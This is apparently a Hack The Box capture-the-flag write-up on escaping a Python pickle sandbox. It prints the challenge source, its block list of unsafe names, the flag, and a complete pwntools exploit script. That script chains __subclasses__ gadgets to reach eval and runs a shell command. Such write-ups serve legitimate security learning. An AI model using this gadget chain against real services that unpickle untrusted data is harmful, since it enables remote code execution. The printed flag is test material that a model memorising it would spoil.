- After you humiliated them, the Phreaks have changed their app to make it more secure. You won't make a fool of them again. Or will you?
- The objective is to escape from a pickle sandbox using builtin internal methods.
medium
HTB{Y0U_7h1nK_JUs7_ch3ck1n9_S0M3_m0DUL3_NAm3s_1s_3n0u9H_70_s70p_93771n9_Pwn3d??}
app.py
: The main code of the applicationsandbox.py
: The pickle sandbox
We can see the source is mostly the same from the previous easy version. The app.py
file remains exactly the same, and sandbox.py
has one more addition to the UNSAFE_NAMES
list, which makes sense considering how the previous challenge was exploited.
UNSAFE_NAMES = ['__builtins__', 'random']
Now we have even less options, considering, most other internal values are mostly standard functions. So now we need to find something more internal which we can use to escape with.
If we search a bit for pickle sandbox escape, we can find this talk. In it, splitline documents a more general exploit, which uses more builtin methods that enable code execution. Essentially, it takes a typical pyjail payload, and transforms it to a pickle context.
obj.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']
becomes
setattr = GLOBAL("<ALLOWED_MODULE>", "__setattr__")
subclasses = GLOBAL(
"<ALLOWED_MODULE>",
"obj.__class__.__base__.__subclasses__"
)()
setattr("subclasses", subclasses)
gadget = GLOBAL(
"<ALLOWED_MODULE>",
"subclasses.__getitem__"
)(<INDEX>)
setattr("gadget", gadget)
eval = GLOBAL(
"<ALLOWED_MODULE>",
"gadget.__init__.__builtins__.__getitem__"
)('eval')
Some notes. In our exploit, we will obviously use app
as the <ALLOWED_MODULE>
. After playing with it, a useful gadget can be found at index 133. After that, we can just call eval
with an internal __import__
module. The setattr
essentially performs a obj.attr_name = attr
. In our case, the obj
is the allowed module app
, so that we can use it in every declaration. Note __setattr__
works like this in python 3.8, and not in newer versions. With these, we can craft
our payload, again using the pickora
module (which was actually developed by spitline).
The codes of 'app.pyand
sandbox.py` are presented below respectively:
from sandbox import unpickle, pickle
import random
members = []
class Phreaks:
def __init__(self, hacker_handle, category, id):
self.hacker_handle = hacker_handle
self.category = category
self.id = id
def display_info(self):
print('================ ==============')
print(f'Hacker Handle {self.hacker_handle}')
print('================ ==============')
print(f'Category {self.category}')
print(f'Id {self.id}')
print()
def menu():
print('Phreaks member registration v2')
print('1. View current members')
print('2. Register new member')
print('3. Exit')
def add_existing_members():
members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))
def view_members():
for member in members:
try:
member = unpickle(member)
member.display_info()
except Exception as e:
print('Invalid Phreaks member', e)
def register_member():
pickle_data = input('Enter new member data: ')
members.append(pickle_data)
def main():
add_existing_members()
while True:
menu()
try:
option = int(input('> '))
except ValueError:
print('Invalid input')
print()
continue
if option == 1:
view_members()
elif option == 2:
register_member()
elif option == 3:
print('Exiting...')
exit()
else:
print('No such option')
print()
if __name__ == '__main__':
main()
from base64 import b64decode, b64encode
from io import BytesIO
import pickle as _pickle
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']
class RestrictedUnpickler(_pickle.Unpickler):
def find_class(self, module, name):
print(module, name)
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
return super().find_class(module, name)
raise _pickle.UnpicklingError()
def unpickle(data):
return RestrictedUnpickler(BytesIO(b64decode(data))).load()
def pickle(obj):
return b64encode(_pickle.dumps(obj))
from base64 import b64encode, b64decode
from pickora import Compiler
from pwn import *
def send_payload(payload):
payload = b64encode(compiler.compile(payload))
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b': ')
io.sendline(payload)
def get_flag():
io.recvuntil(b'> ')
io.sendline(b'1')
io.interactive()
io.recvuntil(b'HTB{')
flag = io.recvuntil(b'}')
return b'HTB{' + flag
def pwn():
payload = b'_setattr = GLOBAL("app", "__setattr__");'
payload += b'subclasses = GLOBAL("app", "members.__class__.__base__.__subclasses__")();'
payload += b'_setattr("subclasses", subclasses);'
payload += b'gadget = GLOBAL("app", "subclasses.__getitem__")(133);'
payload += b'_setattr("gadget", gadget);'
payload += b'builtins = GLOBAL("app", "gadget.__init__.__globals__.__getitem__")("__builtins__");'
payload += b'_setattr("builtins", builtins);'
payload += b'eval = GLOBAL("app", "builtins.__getitem__")("eval");'
payload += b'eval(\'__import__("os").system("cat flag.txt")\')'
send_payload(payload)
flag = get_flag()
print(flag)
if __name__ == '__main__':
ip = '127.0.0.1'
port = 1337
io = remote(ip, port)
#io = process(['python', 'app.py'])
compiler = Compiler()
pwn()